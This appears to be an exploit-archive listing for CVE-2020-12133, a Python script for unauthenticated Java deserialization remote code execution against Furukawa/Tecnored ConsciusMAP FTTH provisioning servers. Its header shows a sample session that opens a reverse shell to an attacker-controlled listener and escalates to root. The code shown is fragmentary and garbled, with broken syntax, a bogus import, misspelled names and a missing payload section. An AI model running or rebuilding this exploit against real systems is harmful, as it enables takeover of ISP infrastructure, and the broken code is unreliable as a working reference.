

## Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution

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Furukawa Electric ConsciusMAP version 2.8.1 java deserialization remote code execution exploit.

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SHA-256 | 0955da08cc53774d5dca5fea06f5e92ca016b5cb01825a79799c4dcb0cf48c1

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```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

#
# Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution
#
# Vendor: Furukawa Electric Co., Ltd. | Tecnores SA
# Product web page: https://www.furukawa.co.jp | https://www.tecnoredsa.com.ar
# Affected version: APROS Evolution | 2.8.1
#
# FURUKAWA          | 2.7.10
# ConsciusMAP        | 2.6.4
#                    | 2.3.1
#                    | 2.1.49
#                    | 2.1.36
#                    | 2.1.31
#                    | 2.1.18
#                    | 2.1.16
#                    | 2.1.15
#                    | 2.1.1
#                    | 2.0.1174
#                    | 1.8
#                    | 1.4.70
#
# Summary: Apros Evolution / Furukawa / ConsciusMap is the Tecnores
# provisioning system for FTTH networks. Complete administration of
# your entire external FTTH network plant, including from the ONU's
# installed in each end customer, to the wiring and junction boxes.
# Unify all the management of your FTTH network on a single platform.
# Unify all your data, whether from customers, your network, or the
# external plant in one place. APROS FTTH allows you to manage your
# entire FTTH network in a simple and globalized way with just one
# click, without being a network expert. Includes services such as:
# bandwidth limitation, Turbo Internet for time plans, BURST Internet,
# QoS for companies, and many more. General consumption graphics and
# per customer in real time. Captive Portal for cutting or suspension
# of the service.
#
# Desc: The FTTH provisioning solution suffers from an unauthenticated
# remote code execution vulnerability due to an unsafe deserialization
# of Java objects (ViewState) triggered via the 'javax.faces.ViewState'
# HTTP POST parameter. The deserialization can cause the vulnerable JSP
# web application to execute arbitrary Java functions, malicious Java
# bytecode, and system shell commands with root privileges.
#
# =====
# $ ./furukawa.py 172.16.0.1:8080 172.168.0.200 4444
# [*] Setting up valid URL path
# [*] Starting callback listener child thread
# [*] Starting handler on port: 4444
# [*] Sending serialized object
# [*] Connection from 172.16.0.1:48446
# [*] You got shell!
# tomcat7@slab:/var/lib/tomcat7$ id
uid=114(tomcat7) gid=124(tomcat7) grupos=124(tomcat7),1003(furukawa)
tomcat7@slab:/var/lib/tomcat7$ sudo su
id
uid=0(root) gid=0(root) grupos=0(root)
exit
tomcat7@slab:/var/lib/tomcat7$ exit
*** Connection closed by remote host ***
#
# Tested on: Apache Tomcat/7.0.68
#           Apache Tomcat/7.0.52
#           Apache MyFaces/2.2.1
#           Apache MyFaces/2.1.17
#           Apache MyFaces/2.0.10
#           GNU/Linux 4.4.0-173
#           GNU/Linux 4.4.0-137
#           GNU/Linux 4.4.0-101
#           GNU/Linux 4.4.0-83
#           GNU/Linux 3.15.0
#           GNU/Linux 3.13.0-32
#           PrimeFaces/4.0.RC1
#           Apache-Coyote/1.1
#           ACC Library 3.1
#           Ubuntu 16.04.2
#           Ubuntu 14.04.2
#           Java/1.8.0_242
#           Java/1.8.0_181
#           Java/1.8.0_131
#           Java/1.7.0_79
#           MySQL 5.7.29
#           MySQL 5.7.18
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Kratic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
# Advisory ID: ZSL-2020-5565
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5565.php
#
# CVE ID: CVE-2020-12133
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-12133
#
# 24.02.2020
#
import os#####
import sys#####
import gzip#####
import zlib#####
import socket#####
import base64#####
import urllib#####
import requests#####
import telnetlib#####
import threading#####
import subprocess#####

from io import BytesIO
from time import sleep
from flash import blc

class Optics:

    def __init__(self):
```

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### Systems



```

if not FURUKAWA in app and not "AFROS" in app:
    print("!! App not detected.")
    exit(0)
if "FURUKAWA" in app:
    self.path = "/FURUKAWA/"
elif "AFROS" in app:
    self.path = "/AFROS/"
else:
    exit(-1337)
except Exception as p:
    print("[!] Somethingz wrong: \n--\n{poraka}").format(poraka=p))
exit(0)

def framed(self):
    naslov = """
=====O
|                                     |
|      Furukawa Electric / Tecnoored   |
|  AFROS Evolution | FURUKAWA | ConsciMAP |
|          Fiber-To-The-Home (FTTH)     |
|                                         |
| Java Deserialization Remote Code Execution |
|              ZSL-2020-5565             |
|-----O=====
|                                     |
|                                     |
|         (\__)\||
|        (*A*)||
|       /      フ|
|
***
print(naslov)

def def(self):
    self.framed()
    print("Usage: ./furukawa.py <RHOST[:PORT]> <LHOST <LPORT>"")
    print("Example: ./furukawa.py 172.16.0.1:8080 172.16.0.200 4444{n}")
    exit(0)

def main(self):
    self.par()#####
    self.check()####
    self.thricker()####

if __name__ == '__main__':
    Optics().main()
```

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